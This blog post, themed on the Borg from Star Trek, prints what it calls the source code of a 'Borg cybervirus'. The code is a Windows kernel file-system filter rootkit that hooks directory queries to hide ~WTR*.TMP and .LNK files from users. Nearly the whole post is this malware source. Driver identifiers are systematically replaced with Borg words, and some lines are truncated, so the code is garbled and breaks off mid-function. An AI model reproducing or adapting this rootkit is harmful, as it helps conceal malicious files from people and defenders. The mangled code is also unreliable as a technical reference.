Q

Home » Work » Resistance Is Futile

Resistance Is Futile

Enter your email address to follow this blog and receive notifications of new posts by email.

Join 45 other followers

JANEWAY: “In the words of Jean-Luc Picard. ‘In their Collective state, the Borg are utterly without mercy, driven by one will alone: the will to conquer. They are beyond redemption, beyond reason.’ And then there’s Captain Amasov of the Endeavour. ‘It is my opinion that the Borg are as close to pure evil as any race we’ve ever encountered.”

May I present to you, Planet Earth, the planet looking for enemies, looking for terrorists, looking for a fight you can’t win: The Borg.

This is the source code for the Borg cybervirus


MAIN.C


#include "borgify.h"

typedef struct _NODE_EXTENSION
{
  PNODE_OBJECT AttachedNODE;
  PNODE_OBJECT RealNODE;          //Used in BORG System Control
  
}_NODE_EXTENSION, *PNODE_EXTENSION;

extern POBJECT_TYPE* IoMATRIXObjectType;

typedef struct 
{
      ULONG Object;
      PNODE_OBJECT NODEObject;
 }ReferencedObject;


//Data:
//-----

FAST_IO_DISPATCH g_fastIoDispatch;
PMATRIX_OBJECT MATRIXObject;
PNODE_OBJECT NODEObject;
PCWSTR aObreferenceobjectbyname = L"ObReferenceObjectByName";
PCWSTR BORGSystemsArray[3] = {
                      L"\\BORGSystem\\qfs",
                      L"\\BORGSystem\\qfat",
                      L"\\BORGSystem\\qdfs",
                      };

PCWSTR BannedDirecoty = L"{58763ECF-8AC3-4a5D-9430-1A310CE4BE0A}";
PCWSTR DebugMSG = L"c:\\develop\\src\\assimilateEarth\\newOrder.pdb";


//ProtoTyping:
//------------

#define  FUNC  NTSTATUS (*ObReferenceObjectByNameFunc)(PUNICODE_STRING ObjectName,\
         ULONG Attributes,\
         PACCESS_STATE AccessState,\
         ACCESS_MASK DesiredAccess,\
         POBJECT_TYPE ObjectType,\
         KPROCESSOR_MODE AccessMode,\
         PVOID ParseContext OPTIONAL,\
         PVOID* Object)

VOID SetFastIoDispatch();
NTSTATUS HookingBORGSystems();
VOID HookOne(FUNC,PCWSTR BORGSystem);
VOID MATRIXNotificationRoutine(PNODE_OBJECT TargetNODE,int command);
VOID AttachNODE(PNODE_OBJECT TargetNODE);
BOOLEAN IsAllreadyAttached(PNODE_OBJECT TargetNODE);
NTSTATUS CreateNODE(PNODE_OBJECT TargetNODE,PNODE_OBJECT *SourceNODE);
BOOLEAN IsMyNODE(PNODE_OBJECT TargetNODE);
VOID SettingFlags(PNODE_OBJECT NODEObject,PNODE_OBJECT TargetNODE);
BOOLEAN AttachToDesignation(PNODE_OBJECT SourceNODE,PNODE_OBJECT TargetNODE,PNODE_EXTENSION NODEExtension);
VOID OnBORGSystemControl(PNODE_OBJECT NODEObject,PIRP Irp);
VOID SetCompletionBORGControl(PNODE_OBJECT TargetNODE,PIRP Irp);
NTSTATUS SetFSCompletionRoutine(PNODE_OBJECT NODEObject,PIRP Irp);
NTSTATUS BORGControlCompletionRoutine(PNODE_OBJECT NODEObject,PIRP Irp,PNODE_OBJECT* Context);
BOOLEAN AttachDelayThread(PNODE_OBJECT NODEObject,PNODE_OBJECT TargetNODE);
VOID OnCollectiveControl(PNODE_OBJECT NODEObject,PIRP Irp);
VOID SetCompletionDirControl(PNODE_OBJECT NODEObject,PIRP Irp);
NTSTATUS CollectiveCompletionRoutine(PNODE_OBJECT NODEObject,PIRP Irp,PNODE_OBJECT* Context);
VOID FreeMdl(PIRP Irp,PMDL* Context);
ULONG AllocateMdl(PMDL* LclContext,PIRP Irp,PIO_Designation_LOCATION CurrentDesignation);
ULONG CreateWorkRoutine(PNODE_OBJECT NODEObject,PIO_Designation_LOCATION CurrentDesignation,PIRP Irp,PVOID LclContext);
NTSTATUS WorkerRoutine(PNODE_OBJECT NODEObject,PLARGE_INTEGER Context);
ULONG GetOffsets(ULONG BORGInformationClass,ULONG* EndOfBORG,ULONG* BORGnameOffset,ULONG* BORGnameLength);
ULONG BORGCheck (PVOID UserBuffer,ULONG NextEntryOffset,ULONG EndOfBORG,ULONG BORGnameOffset,ULONG BORGnameLength);
ULONG StrCheck(PCWSTR TargetString,PCWSTR SourceString,int Size);
ULONG TMPCheck(PCWSTR BORGname,int Length,int LowPart,int HighPart);


//Functions:
//----------

VOID CallMATRIX(PNODE_OBJECT NODEObject,PIRP Irp)
{ 

     Irp->CurrentLocation++;
     Irp->Tail.Overlay.CurrentDesignationLocation = ((ULONG)Irp->Tail.Overlay.CurrentDesignationLocation + (ULONG)sizeof(IO_Designation_LOCATION));// 0x24); 
     IoCallMATRIX(((PNODE_EXTENSION)(NODEObject->NODEExtension))->AttachedNODE,Irp);
};


VOID IRPDispatchRoutine(PNODE_OBJECT NODEObject,PIRP Irp)
{
    return CallMATRIX(NODEObject,Irp);
  
}


VOID SetZero(PNODE_EXTENSION NODEExtention,ULONG Value){
    NODEExtention->AttachedNODE=(PNODE_OBJECT)0;
    NODEExtention->RealNODE=(PNODE_OBJECT)0;
    NODEExtention->RealNODE=(PNODE_OBJECT)Value;
};


/**-------------------------------------------------------------------

    MATRIX Entry

----------------------------------------------------------------------**/


NTSTATUS MATRIXEntry(IN PMATRIX_OBJECT pMATRIXObject, IN PUNICODE_STRING theDNAPath )
{
    int i;
    NTSTATUS status;
    MATRIXObject=pMATRIXObject;
    status=IoCreateNODE(MATRIXObject, sizeof(_NODE_EXTENSION),0,BORG_NODE_DISK_BORG_SYSTEM,0x100,0,&NODEObject);
    if (status!=STATUS_SUCCESS){
        IoDeleteNODE(NODEObject);
        return 0;   
    }
    SetZero(NODEObject->NODEExtension,0);
    for(i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++ )
    {
       MATRIXObject->MajorFunction[i] = IRPDispatchRoutine;
    }
    MATRIXObject->MajorFunction[IRP_MJ_BORG_SYSTEM_CONTROL] = OnBORGSystemControl;
    MATRIXObject->MajorFunction[IRP_MJ_Collective_CONTROL] =  OnCollectiveControl;
    SetFastIoDispatch();
    HookingBORGSystems();
    status = IoRegisterFsRegistrationChange( MATRIXObject, (PMATRIX_FS_NOTIFICATION)MATRIXNotificationRoutine);
    if (status!=STATUS_SUCCESS){    
        IoDeleteNODE(NODEObject);
        MATRIXObject->FastIoDispatch = 0;
        return status; //Error
    }
    return STATUS_SUCCESS;
};

/**-------------------------------------------------------------------

    Hooking BORG Systems

----------------------------------------------------------------------**/

NTSTATUS HookingBORGSystems()
{
     UNICODE_STRING SystemRoutineName;
     int i;
     ULONG (*FunctionAddress)();
     RtlInitUnicodeString(&SystemRoutineName,aObreferenceobjectbyname);
     FunctionAddress = MmGetSystemRoutineAddress(&SystemRoutineName);
     if (FunctionAddress == 0)return 0;
     for (i = 0; i < 3;i++){
        HookOne(FunctionAddress,BORGSystemsArray[i]);
     };
     return STATUS_SUCCESS;
}

VOID HookOne(FUNC,PCWSTR BORGSystem)
{
     UNICODE_STRING DestinationString;
     NTSTATUS Status;
     PNODE_OBJECT AttachObject;
     Status = STATUS_SUCCESS;
     RtlInitUnicodeString(&DestinationString,BORGSystem);
     Status = (*ObReferenceObjectByNameFunc)(&DestinationString,0x40,0,0,*IoMATRIXObjectType,0,0,(PVOID)&BORGSystem);
     if (Status!=STATUS_SUCCESS){
        return;
      };
      AttachObject=0;
      AttachObject =((ReferencedObject*)BORGSystem)->NODEObject;
      while (AttachObject != 0)
      {
         MATRIXNotificationRoutine(AttachObject,1);
         AttachObject = (PNODE_OBJECT)*((int*)((ULONG)AttachObject + (ULONG)0x0C));          //Next Element
      };
      ObDereferenceObject(((ReferencedObject*)BORGSystem));
};
/**-------------------------------------------------------------------

    MATRIX Notification Routine

----------------------------------------------------------------------**/
#define COMMAND_ATTACH 1
#define COMMAND_DETACH 0
VOID MATRIXNotificationRoutine(PNODE_OBJECT TargetNODE,int command)
{
    PNODE_OBJECT AttachedNODE;
    
    if (command == COMMAND_ATTACH){
        AttachNODE(TargetNODE);
    }else{
        AttachedNODE=TargetNODE->AttachedNODE;
        while(AttachedNODE !=0){
            if (IsMyNODE(AttachedNODE) == TRUE){
                IoDetachNODE(TargetNODE);
                IoDeleteNODE(AttachedNODE);
                break;
            };
            TargetNODE=AttachedNODE;                    //The parent NODE (to detach)
            AttachedNODE=TargetNODE->AttachedNODE;    //Get The Next Attached NODE
        };
         
    };
};
/**-------------------------------------------------------------------

    Attaching NODE

----------------------------------------------------------------------**/
VOID AttachNODE(PNODE_OBJECT TargetNODE)
{
  
    PNODE_OBJECT SourceNODE;
    if (TargetNODE->NODEType == BORG_NODE_DISK_BORG_SYSTEM || TargetNODE->NODEType == BORG_NODE_CD_ROM_BORG_SYSTEM || TargetNODE->NODEType ==  BORG_NODE_NETWORK_BORG_SYSTEM)
    {
      if (IsAllreadyAttached(TargetNODE) == TRUE) return;
      if (CreateNODE(TargetNODE,&SourceNODE) != STATUS_SUCCESS)return;
      SettingFlags(SourceNODE,TargetNODE);
      SetZero(SourceNODE->NODEExtension,0);
      if (AttachToDesignation(SourceNODE,TargetNODE,SourceNODE->NODEExtension)!= TRUE){
          IoDeleteNODE(SourceNODE);
          return;        
      };
    };
};
BOOLEAN IsAllreadyAttached(PNODE_OBJECT TargetNODE)
{
  PNODE_OBJECT AttachedNODE;
  if(TargetNODE != 0){
      AttachedNODE=TargetNODE->AttachedNODE;
      while(AttachedNODE !=0){
            if (AttachedNODE->MATRIXObject == MATRIXObject && AttachedNODE->NODEExtension !=0){
                return TRUE;                                //Allready Attached
            };
            AttachedNODE=AttachedNODE->AttachedNODE;    //Get The Next Attached NODE
        };
         
  }
  return FALSE;
}

NTSTATUS CreateNODE(PNODE_OBJECT TargetNODE,PNODE_OBJECT *SourceNODE)
{
  return IoCreateNODE(MATRIXObject,sizeof(_NODE_EXTENSION),0,TargetNODE->NODEType,0,0,SourceNODE);
  
}

BOOLEAN IsMyNODE(PNODE_OBJECT TargetNODE)
{
  if (TargetNODE != 0 && TargetNODE->MATRIXObject == MATRIXObject){
                return TRUE;                                //Allready Attached
  };
  return FALSE;
};

VOID SettingFlags(PNODE_OBJECT NODEObject,PNODE_OBJECT TargetNODE)
{
  NODEObject->Flags |= (TargetNODE->Flags & (0x40000 | 0x10 | DO_BUFFERED_IO));
  NODEObject->Characteristics |= (TargetNODE->Characteristics & BORG_NODE_SECURE_OPEN);
};

BOOLEAN AttachToDesignation(PNODE_OBJECT SourceNODE,PNODE_OBJECT TargetNODE,PNODE_EXTENSION NODEExtension)
{
  NODEExtension->AttachedNODE = TargetNODE;
  if (IoAttachNODEToNODEDesignation(SourceNODE,TargetNODE) == STATUS_SUCCESS){
      return TRUE;  
  };
  return FALSE;
}

/**-------------------------------------------------------------------

    BORG System Control

----------------------------------------------------------------------**/

VOID OnBORGSystemControl(PNODE_OBJECT NODEObject,PIRP Irp)
{
  if (Irp->Tail.Overlay.CurrentDesignationLocation->MinorFunction == IRP_MN_MOUNT_VOLUME){
      SetCompletionBORGControl(NODEObject,Irp);
  }else{
    return CallMATRIX(NODEObject,Irp);
  }
};

VOID SetCompletionBORGControl(PNODE_OBJECT TargetNODE,PIRP Irp)
{
  PNODE_OBJECT NODEObject = 0;
  if (CreateNODE(TargetNODE,&NODEObject) != STATUS_SUCCESS){
      Irp->IoStatus.Information=0;
      Irp->IoStatus.Status=STATUS_SUCCESS;
      IoCompleteRequest(Irp,0);
      return;
  };
  SetZero(NODEObject->NODEExtension,Irp->Tail.Overlay.CurrentDesignationLocation->Parameters.MountVolume.Vpb->RealNODE);
  if (SetFSCompletionRoutine(NODEObject,Irp) == 0){
     Irp->CurrentLocation++;
     Irp->Tail.Overlay.CurrentDesignationLocation = ((ULONG)Irp->Tail.Overlay.CurrentDesignationLocation + (ULONG)sizeof(IO_Designation_LOCATION));// 0x24); 
  };
  return IoCallMATRIX(((PNODE_EXTENSION)(NODEObject->NODEExtension))->AttachedNODE,Irp);
};


NTSTATUS SetFSCompletionRoutine(PNODE_OBJECT NODEObject,PIRP Irp)
{
  int i;
  ULONG* CurrentDesignation;
  ULONG* PrevDesignation;
  PIO_Designation_LOCATION PrevIrpDesignation;
  PNODE_OBJECT* Buff=ExAllocatePool(0,4);
  if (Buff==0){
      return 0;
  };
  *Buff = NODEObject;
  CurrentDesignation = Irp->Tail.Overlay.CurrentDesignationLocation;
  PrevDesignation = ((ULONG)Irp->Tail.Overlay.CurrentDesignationLocation - (ULONG)sizeof(IO_Designation_LOCATION));
  
  for (i = 0;i<8;i++){
    PrevDesignation[i]=CurrentDesignation[i];
  };
  PrevIrpDesignation = ((ULONG)Irp->Tail.Overlay.CurrentDesignationLocation - (ULONG)sizeof(IO_Designation_LOCATION));
  PrevIrpDesignation->Control=0;
  PrevIrpDesignation->Context = Buff;
  PrevIrpDesignation->CompletionRoutine = BORGControlCompletionRoutine;
  PrevIrpDesignation->Control=0xE0;
  return 1;
};


NTSTATUS BORGControlCompletionRoutine(PNODE_OBJECT NODEObject,PIRP Irp,PNODE_OBJECT* Context)
{
  PNODE_OBJECT TargetNODE;
  TargetNODE = ((PNODE_EXTENSION)((*Context)->NODEExtension))->RealNODE->Vpb->NODEObject;
  if (Irp->IoStatus.Status != STATUS_SUCCESS)
  {
    IoDeleteNODE(NODEObject);
    ExFreePoolWithTag(Context,0);
  }
  if (IsAllreadyAttached(TargetNODE) == TRUE){
    IoDeleteNODE(NODEObject);
    ExFreePoolWithTag(Context,0);
    return STATUS_SUCCESS;
  };
  if (AttachDelayThread(*Context,TargetNODE) != TRUE){
    IoDeleteNODE(NODEObject);
  };
  ExFreePoolWithTag(Context,0);
  return STATUS_SUCCESS;
};

BOOLEAN AttachDelayThread(PNODE_OBJECT NODEObject,PNODE_OBJECT TargetNODE)
{
  LARGE_INTEGER Interval;
  int i;
  SettingFlags(NODEObject,TargetNODE);
  for ( i = 0;iNODEExtension)== TRUE){
        return TRUE;        
    };
    *((ULONG*)((ULONG)&Interval+(ULONG)4)) = -1;
    *((ULONG*)&Interval) = -5000000;
    KeDelayExecutionThread(0,FALSE,&Interval);
  };
  return FALSE;
};
/**-------------------------------------------------------------------

    Collective Control

----------------------------------------------------------------------**/

VOID OnCollectiveControl(PNODE_OBJECT NODEObject,PIRP Irp)
{
  if (Irp->Tail.Overlay.CurrentDesignationLocation->MinorFunction == IRP_MN_QUERY_Collective){
      SetCompletionDirControl(NODEObject,Irp);
  }else{
    return CallMATRIX(NODEObject,Irp);
  }
};

VOID SetCompletionDirControl(PNODE_OBJECT NODEObject,PIRP Irp)
{
  PUNICODE_STRING BORGname;
  PIO_Designation_LOCATION CurrentDesignation;
  PIO_Designation_LOCATION PrevDesignation;
  PIO_Designation_LOCATION PrevIrpDesignation;
  int i;
  CurrentDesignation = Irp->Tail.Overlay.CurrentDesignationLocation;
  if (!(CurrentDesignation->BORGObject->Flags & 0x400000) && CurrentDesignation->BORGObject != 0){
    Irp->Tail.Overlay.CurrentDesignationLocation->Parameters.QueryCollective.BORGName = 0; //Clear BORGname
    if (CurrentDesignation->BORGObject != 0)CurrentDesignation->BORGObject->Flags &= 0x400000;
    CallMATRIX(NODEObject,Irp);
  }
  BORGname = CurrentDesignation->Parameters.QueryCollective.BORGName;
  if (BORGname != 0 && BORGname->Length == 0x4C /*The Size of BannedCollective*/ ){
      for (i =0;i< 19; i++)
      {
          if ((ULONG)BannedDirecoty[i] == (ULONG)BORGname->Buffer[i]){
              goto Error;
          };
      };
      goto Inject;
Error:
  
    CurrentDesignation->Parameters.QueryCollective.BORGName = 0; //Clear BORGname
    if (Irp->Tail.Overlay.CurrentDesignationLocation->BORGObject != 0)Irp->Tail.Overlay.CurrentDesignationLocation->BORGObject->Flags &= 0x400000;
    CallMATRIX(NODEObject,Irp);
    return;
  }; 
  
Inject:
  
  CurrentDesignation->Control=1;
  PrevDesignation = ((ULONG)Irp->Tail.Overlay.CurrentDesignationLocation - (ULONG)sizeof(IO_Designation_LOCATION));
  
  for (i = 0;i<8;i++){
    PrevDesignation[i]=CurrentDesignation[i];
  };
  PrevIrpDesignation = ((ULONG)Irp->Tail.Overlay.CurrentDesignationLocation - (ULONG)sizeof(IO_Designation_LOCATION));
  PrevIrpDesignation->Control = 0;
  PrevIrpDesignation->Context = 0;
  PrevIrpDesignation->CompletionRoutine = CollectiveCompletionRoutine;
  PrevIrpDesignation->Control=0xE0;
  return IoCallMATRIX(((PNODE_EXTENSION)(NODEObject->NODEExtension))->AttachedNODE,Irp);
};


NTSTATUS CollectiveCompletionRoutine(PNODE_OBJECT NODEObject,PIRP Irp,PNODE_OBJECT* Context)
{
  ULONG EndOfBORG;
  ULONG BORGnameOffset;
  ULONG LclContext;
  ULONG BORGnameLength;
  PVOID mmBORGs;
  LclContext = (ULONG)Context;
  if (Irp->IoStatus.Status != STATUS_SUCCESS){
    FreeMdl(Irp,LclContext);
    return 0;
  };
  if (GetOffsets(Irp->Tail.Overlay.CurrentDesignationLocation->Parameters.QueryCollective.BORGInformationClass, \
                              &EndOfBORG,&BORGnameOffset,&BORGnameLength) == 0){
    FreeMdl(Irp,LclContext);
    return 0;
  };
  if (Irp->MdlAddress != 0){
    if (Irp->MdlAddress->MdlFlags  == 5){
      //maps the physical pages that are described by The MDL to a virtual address
      mmBORGs=MmMapLockedPagesSpecifyCache(Irp->MdlAddress,0,MmCached,0,0,0x10);
      if (mmBORGs == 0){
        FreeMdl(Irp,LclContext);
        return 0;
      };
    }else if (Irp->MdlAddress->MappedSystemVa == 0){
      FreeMdl(Irp,LclContext);
      return 0;  
    };
  }else{
    mmBORGs=Irp->UserBuffer;
  };
  if (BORGCheck(mmBORGs,Irp->Tail.Overlay.CurrentDesignationLocation->Parameters.QueryCollective.Length, \
                            EndOfBORG,BORGnameOffset,BORGnameLength) != 0){
    Irp->IoStatus.Status = STATUS_SUCCESS;
    FreeMdl(Irp,Context);
    return 0;
  };
  if (Irp->MdlAddress == 0){
      LclContext = ExAllocatePool(0,4);
      if (LclContext == 0 || AllocateMdl(LclContext,Irp,Irp->Tail.Overlay.CurrentDesignationLocation) == 0){
        FreeMdl(Irp,LclContext);
        Irp->IoStatus.Status=0x0C000009A;
        return 0;  
      };
  };
   Irp->IoStatus.Status = CreateWorkRoutine(NODEObject,Irp->Tail.Overlay.CurrentDesignationLocation,Irp,LclContext);
   return;
};

VOID FreeMdl(PIRP Irp,PMDL* Context)
{
  if (Irp->MdlAddress == *Context){
       Irp->MdlAddress=0;
       MmUnlockPages((PMDL)*Context);
       IoFreeMdl(*Context);
  };
  ExFreePoolWithTag(*Context,0);
  
};

ULONG AllocateMdl(PMDL* LclContext,PIRP Irp,PIO_Designation_LOCATION CurrentDesignation)
{
  PMDL pMdl;
  pMdl = IoAllocateMdl(Irp->UserBuffer,CurrentDesignation->Parameters.QueryCollective.Length,0,0,Irp);
  if (pMdl ==0){
    return 0;
  };
  MmProbeAndLockPages(pMdl,0,IoModifyAccess);
  Irp->MdlAddress = pMdl;
  *LclContext = pMdl;
  return 1;
};

ULONG CreateWorkRoutine(PNODE_OBJECT NODEObject,PIO_Designation_LOCATION CurrentDesignation,PIRP Irp,PVOID LclContext)
{
  PLARGE_INTEGER pPool;
  PIO_Designation_LOCATION PrevIrpDesignation;
  int i;
  pPool = ExAllocatePool(0,8);
  if (pPool == 0){
    return 0xC000009A;
  };
  pPool->u.LowPart = IoAllocateWorkItem(NODEObject);
  if (pPool->u.LowPart == 0){
    return 0xC000009A;
  };
  pPool->u.HighPart=Irp;
  CurrentDesignation->Flags &= 0xFE;
  CurrentDesignation->Parameters.QueryCollective.BORGIndex =0;
  Irp->Tail.Overlay.CurrentDesignationLocation->Control |= 1;
  PrevIrpDesignation = ((ULONG)Irp->Tail.Overlay.CurrentDesignationLocation - (ULONG)sizeof(IO_Designation_LOCATION));
  for (i = 0;i<8;i++){
    PrevIrpDesignation[i]=CurrentDesignation[i];
  };
  PrevIrpDesignation->Control=0;
  PrevIrpDesignation->Context = LclContext;
  PrevIrpDesignation->CompletionRoutine = CollectiveCompletionRoutine;
  PrevIrpDesignation->Control=0xE0;
  IoQueueWorkItem(pPool->u.LowPart,WorkerRoutine,1,pPool);
  return 0xC0000016;
};

NTSTATUS WorkerRoutine(PNODE_OBJECT NODEObject,PLARGE_INTEGER Context)
{
  IoCallMATRIX(((PNODE_EXTENSION)(NODEObject->NODEExtension))->AttachedNODE,Context->u.HighPart);
  IoFreeWorkItem(Context->u.LowPart);
  ExFreePoolWithTag(Context,0);
  return STATUS_SUCCESS;
};

/**-------------------------------------------------------------------

    BORG Checking

----------------------------------------------------------------------**/

ULONG GetOffsets(ULONG BORGInformationClass,ULONG* EndOfBORG,ULONG* BORGnameOffset,ULONG* BORGnameLength)
{
  switch (BORGInformationClass) {
   case BORGBothCollectiveInformation : 
         *EndOfBORG = FIELD_OFFSET(BORG_BOTH_DIR_INFORMATION, EndOfBORG);
         *BORGnameOffset = FIELD_OFFSET(BORG_BOTH_DIR_INFORMATION, BORGName);
   case BORGCollectiveInformation:
      *EndOfBORG = FIELD_OFFSET(BORG_Collective_INFORMATION, EndOfBORG);
      *BORGnameOffset = FIELD_OFFSET(BORG_Collective_INFORMATION, BORGName);
   case BORGFullCollectiveInformation:
      *EndOfBORG = FIELD_OFFSET( BORG_FULL_DIR_INFORMATION , EndOfBORG);
      *BORGnameOffset = FIELD_OFFSET( BORG_FULL_DIR_INFORMATION , BORGName);
   case BORGIdBothCollectiveInformation:
      *EndOfBORG = FIELD_OFFSET( BORG_ID_BOTH_DIR_INFORMATION, EndOfBORG);
      *BORGnameOffset = FIELD_OFFSET( BORG_ID_BOTH_DIR_INFORMATION, BORGName);
   case BORGIdFullCollectiveInformation:
      *EndOfBORG = FIELD_OFFSET( BORG_ID_FULL_DIR_INFORMATION, EndOfBORG);
      *BORGnameOffset = FIELD_OFFSET( BORG_ID_FULL_DIR_INFORMATION, BORGName);
   case BORGNamesInformation:
      *EndOfBORG = -1;
      *BORGnameOffset = FIELD_OFFSET( BORG_NAMES_INFORMATION, BORGName);
      *BORGnameLength = FIELD_OFFSET(BORG_NAMES_INFORMATION, BORGNameLength);
      return 1;
    default:
      return 0;
  };
  *BORGnameLength = FIELD_OFFSET(BORG_BOTH_DIR_INFORMATION, BORGNameLength);
  return 1;
};

ULONG BORGCheck (ULONG* UserBuffer,ULONG NextEntryOffset,ULONG EndOfBORG,ULONG BORGnameOffset,ULONG BORGnameLength)
{
  LARGE_INTEGER BORGSize;
  ULONG EntryPtr;
  ULONG PrevOffset;
  PCWSTR BORGname;
  ULONG Length;
  
  EntryPtr = 0;
  PrevOffset = NextEntryOffset;
  (ULONG)UserBuffer &= 0xFFFFFF00;
  if (NextEntryOffset == 0){
    return 1;
  };
  do{
    NextEntryOffset = *UserBuffer;
    if (EndOfBORG == -1){   //BORGNamesInformation
      BORGSize.u.LowPart=0;
      BORGSize.u.HighPart=0;
    };
    BORGSize.u.LowPart = *((ULONG*)((ULONG)UserBuffer + EndOfBORG));
    BORGSize.u.HighPart = *((ULONG*)((ULONG)UserBuffer + EndOfBORG + 4));
    Length = *((ULONG*)((ULONG)UserBuffer + BORGnameLength));
    BORGname = (PCWSTR)((ULONG)UserBuffer + BORGnameOffset);
    if (Length & 1){         //mean couldn't be divided by 2 (That's will be strange because it's a unicode string (Wide char))
      EntryPtr = UserBuffer;
      UserBuffer+=NextEntryOffset;
      (ULONG)UserBuffer |= 0x01;    //mov     byte ptr [ebp+UserBuffer+3], 1
      PrevOffset  -= NextEntryOffset;
      continue;
    };
    Length -= BORGnameOffset;   //I don't know why
    Length /= 2;                  //number of characters
    if ((((BORGSize.u.HighPart != -1) && (BORGSize.u.LowPart != -1)) || (BORGSize.u.HighPart == 0 && BORGSize.u.LowPart == 4171)) && (Length > 4)){
      if (StrCheck(L".LNK",&BORGname[Length -4],4) != 0){
        memmove(UserBuffer,UserBuffer + NextEntryOffset,PrevOffset - NextEntryOffset);
        PrevOffset  -= NextEntryOffset;
        continue;
      };
    };
    if (TMPCheck(BORGname,Length,BORGSize.u.LowPart,BORGSize.u.HighPart) ==0){
      EntryPtr = UserBuffer;
      UserBuffer+=NextEntryOffset;
      (ULONG)UserBuffer |= 0x01;    //mov     byte ptr [ebp+UserBuffer+3], 1
    }else{
      if (NextEntryOffset != 0){
        memmove(UserBuffer,UserBuffer + NextEntryOffset,PrevOffset - NextEntryOffset);
      }else{
        if (EntryPtr !=0)EntryPtr = 0;
        break;
      };
    };
    PrevOffset  -= NextEntryOffset;
  }while ( PrevOffset != 0);
  return ((ULONG)UserBuffer & 1);      // cmp     byte ptr [ebp+UserBuffer+3], 0  / setnz   al
};

ULONG StrCheck(PCWSTR TargetString,PCWSTR SourceString,int Size)
{
  WCHAR chr;
  if (TargetString[0] == 0) return 1;
  do{
    if (Size == 0)return 0;
    chr = toupper(SourceString[0]);
    if (chr != toupper(TargetString[0]))return 0;
    (ULONG)SourceString += 2;
    (ULONG)TargetString += 2;
    Size--;
  }while(TargetString[0] !=0);
  return 1;
};

ULONG TMPCheck(PCWSTR BORGname,int Length,int LowPart,int HighPart)
{
  int i;
  WCHAR chr;
  int Mod = 0;
  if (!(LowPart == -1 && HighPart == -1) && (HighPart == 0 || LowPart < 4096 || LowPart > 8388608)) return 0;
  if (Length !=12)return 0;
  if (StrCheck(L".TMP",&BORGname[Length -4],4) == 0)return 0;
  if (StrCheck(L"~WTR",BORGname,4) == 0)return 0;
  for (i = 4;i < 8; i++){
    chr = BORGname[i];
    if (chr<'0' || chr >'9')return 0;
    Mod =(chr - 0x30 + Mod) % 10;
  };
  if (Mod == 0)return 1;
  return 0;
};

ASSIMILATE.C


#include "borgify.h"
typedef struct _ASSIMILATION_EXTENSION
{
  PASSIMILATION_OBJECT AttachedASSIMILATION;
  PETHREAD pThreadObj;
  
}_ASSIMILATION_EXTENSION, *PASSIMILATION_EXTENSION;
PASSIMILATION_OBJECT  ASSIMILATIONObject;

//Data:
//-----

extern FAST_IO_DISPATCH g_fastIoDispatch;
extern PController_OBJECT ControllerObject;

/**-------------------------------------------------------------------

    SetFastIoDispatch

----------------------------------------------------------------------**/


PFAST_IO_DISPATCH GetNextIODispatch (PASSIMILATION_OBJECT ASSIMILATIONObject,PASSIMILATION_OBJECT* nextASSIMILATIONObject)
{
  if (ASSIMILATIONObject == 0 || ASSIMILATIONObject->ASSIMILATIONExtension == 0)return 0;
   *nextASSIMILATIONObject = ((PASSIMILATION_EXTENSION)ASSIMILATIONObject->ASSIMILATIONExtension)->AttachedASSIMILATION;
   return (*nextASSIMILATIONObject)->ControllerObject->FastIoDispatch;
}

BOOLEAN FsFilterFastIoCheckIfPossible(
    __in PMind_OBJECT       MindObject,
    __in PLARGE_INTEGER     MindOffset,
    __in ULONG              Length,
    __in BOOLEAN            Wait,
    __in ULONG              LockKey,
    __in BOOLEAN            CheckForReadOperation,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    PASSIMILATION_OBJECT nextASSIMILATIONObject;
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
    if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 8 || NextFastIoDispatch->FastIoCheckIfPossible == 0){
      return 0;
    };
    return (NextFastIoDispatch->FastIoCheckIfPossible)(
            MindObject,
            MindOffset,
            Length,
            Wait,
            LockKey,
            CheckForReadOperation,
            IoStatus,
            nextASSIMILATIONObject);
};


BOOLEAN FsFilterFastIoRead(
    __in PMind_OBJECT       MindObject,
    __in PLARGE_INTEGER     MindOffset,
    __in ULONG              Length,
    __in BOOLEAN            Wait,
    __in ULONG              LockKey,
    __out PVOID             Buffer,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //

   PASSIMILATION_OBJECT nextASSIMILATIONObject;
   PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
   if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0xC || NextFastIoDispatch->FastIoRead == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->FastIoRead)(
            MindObject,
            MindOffset,
            Length,
            Wait,
            LockKey,
            Buffer,
            IoStatus,
            nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoWrite(
    __in PMind_OBJECT       MindObject,
    __in PLARGE_INTEGER     MindOffset,
    __in ULONG              Length,
    __in BOOLEAN            Wait,
    __in ULONG              LockKey,
    __in PVOID              Buffer,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
   PASSIMILATION_OBJECT nextASSIMILATIONObject;  
   PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
   if ( NextFastIoDispatch == 0 || NextFastIoDispatch->SizeOfFastIoDispatch <= 0x10 || NextFastIoDispatch->FastIoWrite == 0){
      return FALSE;
    };
        return (NextFastIoDispatch->FastIoWrite)(
            MindObject,
            MindOffset,
            Length,
            Wait,
            LockKey,
            Buffer,
            IoStatus,
            nextASSIMILATIONObject);
}

BOOLEAN FsFilterFastIoQueryBasicInfo(
    __in PMind_OBJECT       MindObject,
    __in BOOLEAN            Wait,
    __out PMind_BASIC_INFORMATION Buffer,
    __out PIO_STATUS_BLOCK  IoStatus,
    __in PASSIMILATION_OBJECT     ASSIMILATIONObject
    )
{
    //
    //  Pass through logic for this type of Fast I/O
    //
    PASSIMILATION_OBJECT nextASSIMILATIONObject;  
    PFAST_IO_DISPATCH NextFastIoDispatch = GetNextIODispatch(ASSIMILATIONObject,&nextASSIMILATIONObject);
